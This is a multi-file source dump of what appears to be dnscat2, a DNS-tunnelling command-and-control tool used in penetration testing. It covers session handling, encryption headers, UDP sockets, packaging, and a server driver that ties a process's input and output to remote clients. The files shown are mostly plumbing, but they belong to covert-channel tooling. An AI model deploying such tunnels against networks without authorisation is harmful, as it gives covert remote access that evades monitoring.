printf("The only reason this can happen is if something is messing with\n"); 40 | printf("your DNS traffic.\n"); 41 | } 42 | } 43 | 44 | uint8_t *driver_ping_get_outgoing(driver_ping_t *driver, size_t *length, size_t max_length) 45 | { 46 | static NBBOOL already_sent = FALSE; 47 | uint8_t *result = NULL; 48 | 49 | /* Only return this once. */ 50 | if(already_sent) { 51 | *length = 0; 52 | return safe_malloc(0); 53 | } 54 | already_sent = TRUE; 55 | 56 | if(PING_LENGTH > max_length) 57 | { 58 | LOG_FATAL("Sorry, the ping packet is too long to respect the protocol's length restrictions :("); 59 | exit(1); 60 | } 61 | 62 | result = safe_malloc(PING_LENGTH); 63 | memcpy(result, driver->data, PING_LENGTH); 64 | *length = PING_LENGTH; 65 | 66 | return result; 67 | } 68 | 69 | driver_ping_t *driver_ping_create(select_group_t *group) 70 | { 71 | size_t i; 72 | driver_ping_t *driver = (driver_ping_t*) safe_malloc(sizeof(driver_ping_t)); 73 | driver->is_shutdown = FALSE; 74 | 75 | /* Create the data */ 76 | driver->data = safe_malloc(PING_LENGTH + 1); 77 | memset(driver->data, 0, PING_LENGTH); 78 | 79 | for(i = 0; i < PING_LENGTH; i++) 80 | driver->data[i] = (rand() % 26) + 'a'; 81 | 82 | return driver; 83 | } 84 | 85 | void driver_ping_destroy(driver_ping_t *driver) 86 | { 87 | if(!driver->is_shutdown) 88 | driver_ping_close(driver); 89 | 90 | if(driver->data) 91 | safe_free(driver->data); 92 | safe_free(driver); 93 | } 94 | 95 | void driver_ping_close(driver_ping_t *driver) 96 | { 97 | driver->is_shutdown = TRUE; 98 | } 99 | -------------------------------------------------------------------------------- /client/libs/crypto/salsa20.h: -------------------------------------------------------------------------------- 1 | #ifndef __SALSA20_H__ 2 | #define __SALSA20_H__ 3 | 4 | #include 5 | 6 | #include "libs/types.h" 7 | 8 | /** 9 | * Return codes for s20_crypt 10 | */ 11 | enum s20_status_t 12 | { 13 | S20_SUCCESS, 14 | S20_FAILURE 15 | }; 16 | 17 | /** 18 | * Key size 19 | * Salsa20 only permits a 128-bit key or a 256-bit key, so these are 20 | * the only two options made available by this library. 21 | */ 22 | enum s20_keylen_t 23 | { 24 | S20_KEYLEN_256, 25 | S20_KEYLEN_128 26 | }; 27 | 28 | /** 29 | * Performs up to 2^32-1 bytes of encryption or decryption under a 30 | * 128- or 256-bit key in blocks of arbitrary size. Permits seeking 31 | * to any point within a stream. 32 | * 33 | * key Pointer to either a 128-bit or 256-bit key. 34 | * No key-derivation function is applied to this key, and no 35 | * entropy is gathered. It is expected that this key is already 36 | * appropriate for direct use by the Salsa20 algorithm. 37 | * 38 | * keylen Length of the key. 39 | * Must be S20_KEYLEN_256 or S20_KEYLEN_128. 40 | * 41 | * nonce Pointer to an 8-byte nonce. 42 | * Does not have to be random, but must be unique for every 43 | * message under a single key. Nonce reuse destroys message 44 | * confidentiality. 45 | * 46 | * si Stream index. 47 | * The position within the stream. When encrypting/decrypting 48 | * a message sequentially from beginning to end in fixed-size 49 | * chunks of length L, this value is increased by L on every 50 | * call. Care must be taken not to select values that cause 51 | * overlap. Example: encrypting 1000 bytes at index 100, and 52 | * then encrypting 1000 bytes at index 500. Doing so will 53 | * result in keystream reuse, which destroys message 54 | * confidentiality. 55 | * 56 | * buf The data to encrypt or decrypt. 57 | * 58 | * buflen Length of the data in buf. 59 | * 60 | * This function returns either S20_SUCCESS or S20_FAILURE. 61 | * A return of S20_SUCCESS indicates that basic sanity checking on 62 | * parameters succeeded and encryption/decryption was performed. 63 | * A return of S20_FAILURE indicates that basic sanity checking on 64 | * parameters failed and encryption/decryption was not performed. 65 | */ 66 | enum s20_status_t s20_crypt(uint8_t *key, 67 | enum s20_keylen_t keylen, 68 | uint8_t nonce[], 69 | uint32_t si, 70 | uint8_t *buf, 71 | uint32_t buflen); 72 | 73 | #endif 74 | -------------------------------------------------------------------------------- /client/controller/session.h: -------------------------------------------------------------------------------- 1 | /* session.h 2 | * By Ron Bowes 3 | * March, 2013 4 | * 5 | * See LICENSE.md 6 | * 7 | * A session keeps track of an active dnscat session. That includes 8 | * bookkeeping data like sequence/acknowledgement numbers and buffering 9 | * data that hasn't been sent yet. 10 | */ 11 | 12 | #ifndef __SESSION_H__ 13 | #define __SESSION_H__ 14 | 15 | #include "drivers/driver.h" 16 | #include "libs/buffer.h" 17 | #include "libs/memory.h" 18 | #include "libs/types.h" 19 | 20 | #ifndef NO_ENCRYPTION 21 | #include "libs/crypto/encryptor.h" 22 | #endif 23 | 24 | typedef enum 25 | { 26 | #ifndef NO_ENCRYPTION 27 | SESSION_STATE_BEFORE_INIT, 28 | SESSION_STATE_BEFORE_AUTH, 29 | #endif 30 | SESSION_STATE_NEW, 31 | SESSION_STATE_ESTABLISHED, 32 | 33 | SESSION_STATE_COUNT 34 | } session_state_t; 35 | 36 | char *session_state_to_string(session_state_t state); 37 | 38 | typedef struct 39 | { 40 | /* Session information */ 41 | uint16_t id; 42 | session_state_t state; 43 | uint16_t their_seq; 44 | uint16_t my_seq; 45 | NBBOOL is_shutdown; 46 | char *name; 47 | 48 | uint64_t last_transmit; 49 | 50 | int missed_transmissions; 51 | 52 | uint16_t options; 53 | NBBOOL is_command; 54 | 55 | NBBOOL is_ping; 56 | 57 | driver_t *driver; 58 | 59 | buffer_t *outgoing_buffer; 60 | 61 | #ifndef NO_ENCRYPTION 62 | encryptor_t *encryptor; 63 | 64 | /* Used for renegotiation. */ 65 | encryptor_t *new_encryptor; 66 | #endif 67 | } session_t; 68 | 69 | /* TODO: re-order and comment these. */ 70 | session_t *session_create_console(select_group_t *group, char *name); 71 | session_t *session_create_exec(select_group_t *group, char *name, char *process); 72 | session_t *session_create_command(select_group_t *group, char *name); 73 | session_t *session_create_ping(select_group_t *group, char *name); 74 | 75 | void debug_set_isn(uint16_t value); 76 | 77 | NBBOOL session_is_shutdown(session_t *session); 78 | 79 | NBBOOL session_data_incoming(session_t *session, uint8_t *data, size_t length); 80 | uint8_t *session_get_outgoing(session_t *session, size_t *packet_length, size_t max_length); 81 | 82 | void session_enable_packet_trace(); 83 | void session_set_delay(int delay_ms); 84 | void session_set_transmit_immediately(NBBOOL transmit_immediately); 85 | #ifndef NO_ENCRYPTION 86 | void session_set_preshared_secret(char *new_preshared_secret); 87 | void session_set_encryption(NBBOOL new_encryption); 88 | #endif 89 | void session_kill(session_t *session); 90 | void session_destroy(session_t *session); 91 | 92 | #endif 93 | -------------------------------------------------------------------------------- /client/libs/my_getopt.h: -------------------------------------------------------------------------------- 1 | /* 2 | * my_getopt.h - interface to my re-implementation of getopt. 3 | * Copyright 1997, 2000, 2001, 2002, 2006, Benjamin Sittler 4 | * 5 | * Permission is hereby granted, free of charge, to any person 6 | * obtaining a copy of this software and associated documentation 7 | * files (the "Software"), to deal in the Software without 8 | * restriction, including without limitation the rights to use, copy, 9 | * modify, merge, publish, distribute, sublicense, and/or sell copies 10 | * of the Software, and to permit persons to whom the Software is 11 | * furnished to do so, subject to the following conditions: 12 | * 13 | * The above copyright notice and this permission notice shall be 14 | * included in all copies or substantial portions of the Software. 15 | * 16 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 19 | * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT 20 | * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 21 | * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 23 | * DEALINGS IN THE SOFTWARE. 24 | */ 25 | 26 | #ifndef MY_GETOPT_H_INCLUDED 27 | #define MY_GETOPT_H_INCLUDED 28 | 29 | #ifndef WIN32 30 | #include 31 | #else 32 | 33 | extern int getopt(int argc, char * argv[], const char *opts); 34 | 35 | /* reset argument parser to start-up values */ 36 | extern int getopt_reset(void); 37 | extern int optind, opterr, optopt; 38 | extern char *optarg; 39 | 40 | struct option { 41 | const char *name; 42 | int has_arg; 43 | int *flag; 44 | int val; 45 | }; 46 | 47 | /* human-readable values for has_arg */ 48 | #undef no_argument 49 | #define no_argument 0 50 | #undef required_argument 51 | #define required_argument 1 52 | #undef optional_argument 53 | #define optional_argument 2 54 | 55 | /* GNU-style long-argument parsers */ 56 | extern int getopt_long(int argc, char * argv[], const char *shortopts, 57 | const struct option *longopts, int *longind); 58 | 59 | extern int getopt_long_only(int argc, char * argv[], const char *shortopts, 60 | const struct option *longopts, int *longind); 61 | 62 | extern int _getopt_internal(int argc, char * argv[], const char *shortopts, 63 | const struct option *longopts, int *longind, 64 | int long_only); 65 | 66 | #endif /* WIN32 */ 67 | #endif /* MY_GETOPT_H_INCLUDED */ 68 | -------------------------------------------------------------------------------- /client/libs/crypto/micro-ecc/README.md: -------------------------------------------------------------------------------- 1 | micro-ecc 2 | ========== 3 | 4 | A small and fast ECDH and ECDSA implementation for 8-bit, 32-bit, and 64-bit processors. 5 | 6 | The static version of micro-ecc (ie, where the curve was selected at compile-time) can be found in the "static" branch. 7 | 8 | Features 9 | -------- 10 | 11 | * Resistant to known side-channel attacks. 12 | * Written in C, with optional GCC inline assembly for AVR, ARM and Thumb platforms. 13 | * Supports 8, 32, and 64-bit architectures. 14 | * Small code size. 15 | * No dynamic memory allocation. 16 | * Support for 5 standard curves: secp160r1, secp192r1, secp224r1, secp256r1, and secp256k1. 17 | * BSD 2-clause license. 18 | 19 | Usage Notes 20 | ----------- 21 | ### Point Representation ### 22 | Compressed points are represented in the standard format as defined in http://www.secg.org/collateral/sec1_final.pdf; uncompressed points are represented in standard format, but without the `0x04` prefix. All functions except `uECC_compress()` only accept uncompressed points; use `uECC_compress()` and `uECC_decompress()` to convert between compressed and uncompressed point representations. 23 | 24 | Private keys are represented in the standard format. 25 | 26 | ### Using the Code ### 27 | 28 | I recommend just copying (or symlink) the uECC files into your project. Then just `#include "uECC.h"` to use the micro-ecc functions. 29 | 30 | For use with Arduino, you can just create a symlink to the `uECC` directory in your Arduino `libraries` directory. You can then use uECC just like any other Arduino library (uECC should show up in the **Sketch**=>**Import Library** submenu). 31 | 32 | See uECC.h for documentation for each function. 33 | 34 | ### Compilation Notes ### 35 | 36 | * Should compile with any C/C++ compiler that supports stdint.h (this includes Visual Studio 2013). 37 | * If you want to change the defaults for any of the uECC compile-time options (such as `uECC_OPTIMIZATION_LEVEL`), you must change them in your Makefile or similar so that uECC.c is compiled with the desired values (ie, compile uECC.c with `-DuECC_OPTIMIZATION_LEVEL=3` or whatever). 38 | * When compiling for a Thumb-1 platform, you must use the `-fomit-frame-pointer` GCC option (this is enabled by default when compiling with `-O1` or higher). 39 | * When compiling for an ARM/Thumb-2 platform with `uECC_OPTIMIZATION_LEVEL` >= 3, you must use the `-fomit-frame-pointer` GCC option (this is enabled by default when compiling with `-O1` or higher). 40 | * When compiling for AVR, you must have optimizations enabled (compile with `-O1` or higher). 41 | * When building for Windows, you will need to link in the `advapi32.lib` system library. 42 | -------------------------------------------------------------------------------- /package.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # packet.sh 4 | # By Ron 5 | # 6 | # See LICENSE.md 7 | 8 | die() { echo "$@" 1>&2 ; exit 1; } 9 | 10 | if [ -z "$1" ]; then 11 | die "Usage: $0 " 12 | fi 13 | VERSION=$1 14 | 15 | VERSION_FILES="client/dnscat.c server/dnscat2.rb" 16 | for i in $VERSION_FILES; do 17 | if ! fgrep -q $VERSION $i; then 18 | echo "WARNING: $i doesn't contain '$VERSION'" 19 | echo "(press ENTER to continue)" 20 | read 21 | fi 22 | done 23 | 24 | FILES="bin/dnscat2-linux-x32 bin/dnscat2-linux-x64 bin/dnscat2-win32.exe" 25 | 26 | echo "Expected files:" 27 | for i in $FILES; do 28 | echo "* $i" 29 | done 30 | 31 | echo "Cleaning up..." 32 | make clean >/dev/null || die "Problem cleaning the sourcecode" 33 | 34 | echo "Copying the client sourcecode to bin/..." 35 | rm -rf bin/dnscat2-client-source 36 | cp -r client/ bin/dnscat2-client-source || die "Failed to copy" 37 | FILES="$FILES bin/dnscat2-client-source" 38 | 39 | echo "Copying the server sourcecode to bin/..." 40 | rm -rf bin/dnscat2-server 41 | cp -r server/ bin/dnscat2-server || die "Failed to copy" 42 | FILES="$FILES bin/dnscat2-server" 43 | 44 | echo "Creating dist/ directory" 45 | mkdir dist/ >/dev/null 2>&1 46 | 47 | echo "Compressing files..." 48 | ZIPS="" 49 | 50 | cd bin 51 | for i in $FILES; do 52 | i=`basename $i` 53 | 54 | if [ -e "$i" ]; then 55 | 56 | echo "Making sure $i is the proper version..." 57 | if ! fgrep -qra $VERSION $i; then 58 | echo "WARNING: $i doesn't contain '$VERSION'" 59 | echo "(press ENTER to continue)" 60 | read 61 | fi 62 | 63 | OUTNAME="dist/$(basename $i .exe)-$VERSION" 64 | 65 | echo "Compressing $i..." 66 | 67 | if [[ $i == *"win"* ]]; then 68 | zip -qr ../$OUTNAME.zip $i || die "Failed to create $i.zip" 69 | ZIPS="$ZIPS $OUTNAME.zip" 70 | elif [[ $i == *"linux"* ]]; then 71 | tar -cjf ../$OUTNAME.tar.bz2 $i || die "Failed to create $i.tar.bz2" 72 | ZIPS="$ZIPS $OUTNAME.tar.bz2" 73 | 74 | tar -czf ../$OUTNAME.tgz $i || die "Failed to create $i.tgz" 75 | ZIPS="$ZIPS $OUTNAME.tgz" 76 | else 77 | zip -qr ../$OUTNAME.zip $i || die "Failed to create $i.zip" 78 | ZIPS="$ZIPS $OUTNAME.zip" 79 | 80 | tar -cjf ../$OUTNAME.tar.bz2 $i || die "Failed to create $i.tar.bz2" 81 | ZIPS="$ZIPS $OUTNAME.tar.bz2" 82 | 83 | tar -czf ../$OUTNAME.tgz $i || die "Failed to create $i.tgz" 84 | ZIPS="$ZIPS $OUTNAME.tgz" 85 | fi 86 | else 87 | echo "Missing file warning: $i" 88 | fi 89 | 90 | done 91 | 92 | cd .. 93 | 94 | echo "Signing files..." 95 | for i in $ZIPS; do 96 | gpg -q -b $i || die "Failed to sign $i" 97 | done 98 | -------------------------------------------------------------------------------- /client/libs/types.h: -------------------------------------------------------------------------------- 1 | /* types.h 2 | * By Ron Bowes 3 | * Created September 1, 2008 4 | * 5 | * (See LICENSE.md) 6 | * 7 | * Defines (or includes libraries that define) various required datatypes. 8 | * 9 | * Additionally, this module implements several miscellanious functions in a 10 | * platform-independent way. 11 | * 12 | * You'll notice things with nb* names - that dates back to the 13 | * heritage, a lot of dnscat2 stuff came from dnscat1, which was part of 14 | * my 'nbtool' library for hacking netbios. History lesson! 15 | */ 16 | 17 | #ifndef __TYPES_H__ 18 | #define __TYPES_H__ 19 | 20 | #ifndef WIN32 21 | /* OS X doesn't seem to have INADDR_NONE defined in all cases. */ 22 | /* If this causes a compile error on some system, try putting "#ifdef __APPLE__" 23 | * around it. */ 24 | #ifndef INADDR_NONE 25 | #define INADDR_NONE ((in_addr_t) -1) 26 | #endif 27 | #endif 28 | 29 | #ifdef WIN32 30 | #include "pstdint.h" 31 | 32 | /* Define ssize_t because Windows doesn't. */ 33 | #ifndef _SSIZE_T_DEFINED 34 | #ifdef _WIN64 35 | typedef unsigned __int64 ssize_t; 36 | #else 37 | typedef _W64 unsigned int ssize_t; 38 | #endif 39 | #define _SSIZE_T_DEFINED 40 | #endif 41 | 42 | #else 43 | #include 44 | #endif 45 | 46 | #include 47 | 48 | #ifndef TRUE 49 | typedef enum 50 | { 51 | FALSE, 52 | TRUE 53 | } NBBOOL; 54 | #else 55 | typedef int NBBOOL; 56 | #endif 57 | 58 | #ifdef WIN32 59 | typedef int socklen_t; 60 | #define strcasecmp _strcmpi 61 | #define strcasestr nbstrcasestr 62 | #define fileno _fileno 63 | #define write _write 64 | #endif 65 | 66 | #ifndef MIN 67 | #define MIN(a,b) (a < b ? a : b) 68 | #endif 69 | 70 | #ifndef MAX 71 | #define MAX(a,b) (a > b ? a : b) 72 | #endif 73 | 74 | #define DIE(a) {fprintf(stderr, "Unrecoverable error in %s(%d): %s\n\n", __FILE__, __LINE__, a); abort();} 75 | #define DIE_MEM() {DIE("Out of memory.");} 76 | 77 | /* Drop privileges to the chosen user, then verify that root can't be re-enabled. */ 78 | void drop_privileges(char *username); 79 | 80 | /* Get the last error, independent of platform. */ 81 | int getlasterror(); 82 | 83 | /* Displays an error and doesn't die. The getlasterror() function is used as well as the appropriate 84 | * error-message-display function for the platform. If str is non-NULL, it's also displayed. */ 85 | void nberror(char *str); 86 | 87 | /* Displays an error using nberror(), then dies. */ 88 | void nbdie(char *str); 89 | 90 | /* Implementation of strcasestr() for Windows. */ 91 | char *nbstrcasestr(char *haystack, char *needle); 92 | 93 | /* Print a hex string, comes in handy a lot! */ 94 | void print_hex(char *label, uint8_t *data, size_t length); 95 | 96 | #endif 97 | 98 | -------------------------------------------------------------------------------- /tools/dnstest.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # dnslogger.rb 3 | # Created July 22, 2015 4 | # By Ron Bowes 5 | # 6 | # See: LICENSE.md 7 | # 8 | # Simply checks if you're the authoritative server. 9 | ## 10 | 11 | $LOAD_PATH << File.dirname(__FILE__) # A hack to make this work on 1.8/1.9 12 | 13 | require 'trollop' 14 | require '../server/libs/dnser' 15 | 16 | # version info 17 | NAME = "dnstest" 18 | VERSION = "v1.0.0" 19 | 20 | Thread.abort_on_exception = true 21 | 22 | # Options 23 | opts = Trollop::options do 24 | version(NAME + " " + VERSION) 25 | 26 | opt :version, "Get the #{NAME} version", :type => :boolean, :default => false 27 | opt :host, "The ip address to listen on", :type => :string, :default => "0.0.0.0" 28 | opt :port, "The port to listen on", :type => :integer, :default => 53 29 | opt :domain, "The domain to check", :type => :string, :default => nil, :required => true 30 | opt :timeout, "The amount of time (seconds) to wait for a response", :type => :integer, :default => 10 31 | end 32 | 33 | if(opts[:port] < 0 || opts[:port] > 65535) 34 | Trollop::die :port, "must be a valid port (between 0 and 65535)" 35 | end 36 | 37 | if(opts[:domain].nil?) 38 | Trollop::die :domain, "Domain is required!" 39 | end 40 | 41 | puts("Starting #{NAME} #{VERSION} DNS server on #{opts[:host]}:#{opts[:port]}") 42 | 43 | domain = (0...16).map { ('a'..'z').to_a[rand(26)] }.join() + "." + opts[:domain] 44 | 45 | dnser = DNSer.new(opts[:host], opts[:port]) 46 | 47 | dnser.on_request() do |transaction| 48 | request = transaction.request 49 | 50 | if(request.questions.length < 1) 51 | puts("The request didn't ask any questions!") 52 | next 53 | end 54 | 55 | if(request.questions.length > 1) 56 | puts("The request asked multiple questions! This is super unusual, if you can reproduce, please report!") 57 | next 58 | end 59 | 60 | question = request.questions[0] 61 | puts("Received: #{question}") 62 | if(question.type == DNSer::Packet::TYPE_A && question.name == domain) 63 | puts("You have the authoritative server!") 64 | transaction.error!(DNSer::Packet::RCODE_NAME_ERROR) 65 | exit() 66 | else 67 | puts("Received a different request: #{question}") 68 | end 69 | 70 | # Always respond with an error 71 | transaction.error!(DNSer::Packet::RCODE_NAME_ERROR) 72 | end 73 | 74 | puts("Sending: #{domain}!") 75 | DNSer.query(domain, { :type => DNSer::Packet::TYPE_A }) do |response| 76 | # Do nothing 77 | end 78 | 79 | sleep(opts[:timeout]) 80 | 81 | puts("Request timed out... you probably don't have the authoritative server. :(") 82 | exit(0) 83 | -------------------------------------------------------------------------------- /client/libs/udp.c: -------------------------------------------------------------------------------- 1 | /* udp.c 2 | * By Ron 3 | * Created August, 2008 4 | * 5 | * (See LICENSE.md) 6 | */ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #ifdef WIN32 13 | #include 14 | #else 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #endif 22 | 23 | #include "udp.h" 24 | 25 | int udp_create_socket(uint16_t port, char *local_address) 26 | { 27 | int s; 28 | int value = 1; 29 | struct sockaddr_in sox; 30 | 31 | s = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP); 32 | 33 | if(s < 0) 34 | nbdie("udp: couldn't create socket"); 35 | 36 | if(setsockopt(s, SOL_SOCKET, SO_BROADCAST, (void*)&value, sizeof(int)) < 0) 37 | nbdie("udp: couldn't set socket to SO_BROADCAST"); 38 | 39 | sox.sin_addr.s_addr = inet_addr(local_address); 40 | sox.sin_family = AF_INET; 41 | sox.sin_port = htons(port); 42 | 43 | if(sox.sin_addr.s_addr == INADDR_NONE) 44 | nbdie("udp: couldn't parse local address"); 45 | 46 | if(bind(s, (struct sockaddr *)&sox, sizeof(struct sockaddr_in)) < 0) 47 | nbdie("udp: couldn't bind to port (are you running as root?)"); 48 | 49 | return s; 50 | } 51 | 52 | ssize_t udp_read(int s, void *buffer, size_t buffer_length, struct sockaddr_in *from) 53 | { 54 | ssize_t received; 55 | socklen_t fromlen = sizeof(struct sockaddr_in); 56 | 57 | memset(from, 0, sizeof(struct sockaddr)); 58 | 59 | received = recvfrom(s, buffer, buffer_length, 0, (struct sockaddr *)from, &fromlen); 60 | 61 | if( received < 0 ) 62 | nbdie("udp: couldn't receive data"); 63 | 64 | return received; 65 | } 66 | 67 | ssize_t udp_send(int sock, char *address, uint16_t port, void *data, size_t length) 68 | { 69 | int result = -1; 70 | struct sockaddr_in serv_addr; 71 | struct hostent *server; 72 | 73 | /* Look up the host */ 74 | server = gethostbyname(address); 75 | if(!server) 76 | { 77 | fprintf(stderr, "Couldn't find host %s\n", address); 78 | } 79 | else 80 | { 81 | /* Set up the server address */ 82 | memset(&serv_addr, '\0', sizeof(serv_addr)); 83 | serv_addr.sin_family = AF_INET; 84 | serv_addr.sin_port = htons(port); 85 | memcpy(&serv_addr.sin_addr, server->h_addr_list[0], server->h_length); 86 | 87 | result = sendto(sock, data, length, 0, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in)); 88 | 89 | if( result < 0 ) 90 | nbdie("udp: couldn't send data"); 91 | } 92 | 93 | return result; 94 | } 95 | 96 | int udp_close(int s) 97 | { 98 | #ifdef WIN32 99 | return closesocket(s); 100 | #else 101 | return close(s); 102 | #endif 103 | } 104 | -------------------------------------------------------------------------------- /server/drivers/driver_process.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # driver_console.rb 3 | # Created September 16, 2015 4 | # By Ron Bowes 5 | # 6 | # See: LICENSE.md 7 | # 8 | ## 9 | 10 | require 'open3' 11 | 12 | class DriverProcess 13 | def initialize(window, settings, process) 14 | @window = window 15 | @settings = settings 16 | @outgoing = "" 17 | @window.noinput = true 18 | 19 | @window.puts("This isn't a console session!") 20 | @window.puts() 21 | @window.puts("The 'process' variable is set, which means that a specific") 22 | @window.puts("process:") 23 | @window.puts() 24 | @window.puts(process) 25 | @window.puts() 26 | @window.puts("will be started. That process's i/o is bound to that dnscat2") 27 | @window.puts("client, which means you can interact with the process via") 28 | @window.puts("that client.") 29 | @window.puts("") 30 | @window.puts("Note that there is no access control, which means any client") 31 | @window.puts("that connects to this server can also use this process; there") 32 | @window.puts("are some security implications there!") 33 | @window.puts() 34 | @window.puts("To disable this, run 'set process=' in the main window.") 35 | @window.puts() 36 | @window.puts("To go back, type ctrl-z.") 37 | @window.puts() 38 | 39 | @done = false 40 | 41 | # Do this in a thread, since read() blocks 42 | @thread = Thread.new() do |thread| 43 | # Put this in an error block, since Threads don't print errors when debug is off 44 | begin 45 | # popen2e combines stderr and stdout into a single pipe, which is handy 46 | @window.puts("Starting process: #{process}") 47 | Open3.popen2e(process) do |stdin, stdout, wait_thr| 48 | # Save stdin so we can write to it when data comes 49 | @process_stdin = stdin 50 | 51 | # Read the output character by character.. I'm not sure if there's a better way, .gets() isn't 52 | # binary friendly, and reading more than 1 byte means that buffering happens 53 | while line = stdout.read(1) 54 | @outgoing += line 55 | end 56 | 57 | # Get the exit status 58 | exit_status = wait_thr.value 59 | 60 | if(!exit_status.success?) 61 | @window.puts("Command exited with an error: #{process}") 62 | else 63 | @window.puts("Command exited successfully: #{process}") 64 | end 65 | 66 | @done = true 67 | 68 | end 69 | rescue Exception => e 70 | $stdout.puts("ERROR: #{e}") 71 | end 72 | end 73 | end 74 | 75 | def feed(data) 76 | if(@done) 77 | return nil 78 | end 79 | 80 | @window.puts("[-->] #{data}") 81 | @process_stdin.write(data) 82 | 83 | out = @outgoing 84 | @outgoing = '' 85 | 86 | @window.puts("[<--] #{out}") 87 | return out 88 | end 89 | end 90 | -------------------------------------------------------------------------------- /client/libs/types.c: -------------------------------------------------------------------------------- 1 | /* types.c 2 | * By Ron Bowes 3 | * Created September 1, 2008 4 | * 5 | * (See LICENSE.md) 6 | */ 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #ifdef WIN32 15 | #include 16 | #else 17 | #include /* Required for dropping privileges. */ 18 | #include 19 | #endif 20 | 21 | #include "log.h" 22 | #include "memory.h" 23 | #include "types.h" 24 | 25 | void drop_privileges(char *username) 26 | { 27 | #ifdef WIN32 28 | fprintf(stderr, "Skipping privilege drop since we're on Windows.\n"); 29 | #else 30 | /* Drop privileges. */ 31 | if(getuid() == 0) 32 | { 33 | /* Get the user id for the given user. */ 34 | struct passwd *user = getpwnam(username); 35 | 36 | if(!user) 37 | { 38 | fprintf(stderr, "Error: couldn't drop privileges to '%s': user not found. Please create the\n", username); 39 | fprintf(stderr, "user or specify a better one with -u.\n"); 40 | } 41 | else if(user->pw_uid == 0) 42 | { 43 | fprintf(stderr, "Error: dropped user account has root privileges; please specify a better\n"); 44 | fprintf(stderr, "one with -u.\n"); 45 | } 46 | else 47 | { 48 | /* fprintf(stderr, "Dropping privileges to account %s:%d.\n", user->pw_name, user->pw_uid); */ 49 | if(setuid(user->pw_uid)) 50 | { 51 | LOG_FATAL("Failed to drop privileges to %s!", username); 52 | exit(1); 53 | } 54 | } 55 | 56 | /* Ensure it succeeded. */ 57 | if(setuid(0) == 0) 58 | { 59 | fprintf(stderr, "Privilege drop failed, sorry!\n"); 60 | exit(1); 61 | } 62 | } 63 | #endif 64 | } 65 | 66 | int getlasterror() 67 | { 68 | #ifdef WIN32 69 | if(errno) 70 | return errno; 71 | if(GetLastError()) 72 | return GetLastError(); 73 | return WSAGetLastError(); 74 | #else 75 | return errno; 76 | #endif 77 | } 78 | 79 | /* Displays an error and doesn't die. */ 80 | void nberror(char *str) 81 | { 82 | int error = getlasterror(); 83 | 84 | #ifdef WIN32 85 | char error_str[1024]; 86 | FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, error, 0, error_str, 1024, NULL); 87 | 88 | if(str) 89 | fprintf(stderr, "%s\n", str); 90 | 91 | fprintf(stderr, "Error %d: %s", error, error_str); 92 | 93 | #else 94 | char *error_str = strerror(error); 95 | if(str) 96 | fprintf(stderr, "%s (error %d: %s)\n", str, error, error_str); 97 | else 98 | fprintf(stderr, "Error %d: %s\n", error, error_str); 99 | 100 | #endif 101 | } 102 | 103 | void nbdie(char *str) 104 | { 105 | nberror(str); 106 | exit(EXIT_FAILURE); 107 | } 108 | 109 | void print_hex(char *label, uint8_t *data, size_t length) 110 | { 111 | size_t i; 112 | 113 | printf("%s: ", label); 114 | for(i = 0; i < length; i++) 115 | printf("%02x", data[i] & 0x0FF); 116 | printf("\n"); 117 | } 118 | 119 | -------------------------------------------------------------------------------- /data/wordlist_256.txt: -------------------------------------------------------------------------------- 1 | Abate 2 | Absorb 3 | Ache 4 | Acidy 5 | Across 6 | After 7 | Alike 8 | Amount 9 | Amuse 10 | Annoy 11 | Annuls 12 | Ardent 13 | Ascot 14 | Bait 15 | Barons 16 | Barret 17 | Bask 18 | Becurl 19 | Befool 20 | Bell 21 | Bifold 22 | Bogie 23 | Boxen 24 | Bozo 25 | Broke 26 | Bulby 27 | Bunny 28 | Calmly 29 | Canary 30 | Cargo 31 | Chirp 32 | Chroma 33 | Cleft 34 | Coke 35 | Column 36 | Comely 37 | Cometh 38 | Convoy 39 | Corn 40 | Cough 41 | Cruxes 42 | Cued 43 | Darter 44 | Dash 45 | Dating 46 | Deadly 47 | Deaf 48 | Decade 49 | Deepen 50 | Depict 51 | Domed 52 | Dorper 53 | Drafts 54 | Dried 55 | Duff 56 | Durian 57 | Early 58 | Easily 59 | Eggars 60 | Emboss 61 | Emit 62 | Encode 63 | Ennui 64 | Envied 65 | Essay 66 | Evites 67 | Evoke 68 | Exotic 69 | Facile 70 | Fate 71 | Feisty 72 | Fewest 73 | Fifty 74 | Filth 75 | Finer 76 | Fished 77 | Flacks 78 | Flaunt 79 | Fleecy 80 | Flied 81 | Foams 82 | Foxes 83 | Freely 84 | Frozen 85 | Genome 86 | Gibbon 87 | Gifts 88 | Giving 89 | Gold 90 | Gone 91 | Gouge 92 | Grocer 93 | Grows 94 | Half 95 | Handle 96 | Harold 97 | Harp 98 | Hedges 99 | Hither 100 | Hobbit 101 | Hobble 102 | Hoods 103 | Hooked 104 | Horror 105 | Horsed 106 | Hound 107 | Huns 108 | Ices 109 | Impish 110 | Jiber 111 | Jiggy 112 | Kelpy 113 | Keyman 114 | Khan 115 | Killer 116 | Klutzy 117 | Lair 118 | Lashes 119 | Libate 120 | Liming 121 | Lonely 122 | Looks 123 | Lordy 124 | Lush 125 | Mailer 126 | Maps 127 | Mayo 128 | Mcgill 129 | Mona 130 | Motive 131 | Mousy 132 | Neigh 133 | Ninjas 134 | Nodule 135 | Nuns 136 | Obese 137 | Olive 138 | Omelet 139 | Omen 140 | Otto 141 | Outran 142 | Ouzo 143 | Owls 144 | Papism 145 | Parrot 146 | Peace 147 | Pearly 148 | Peaty 149 | Pedal 150 | Pegged 151 | Petals 152 | Phials 153 | 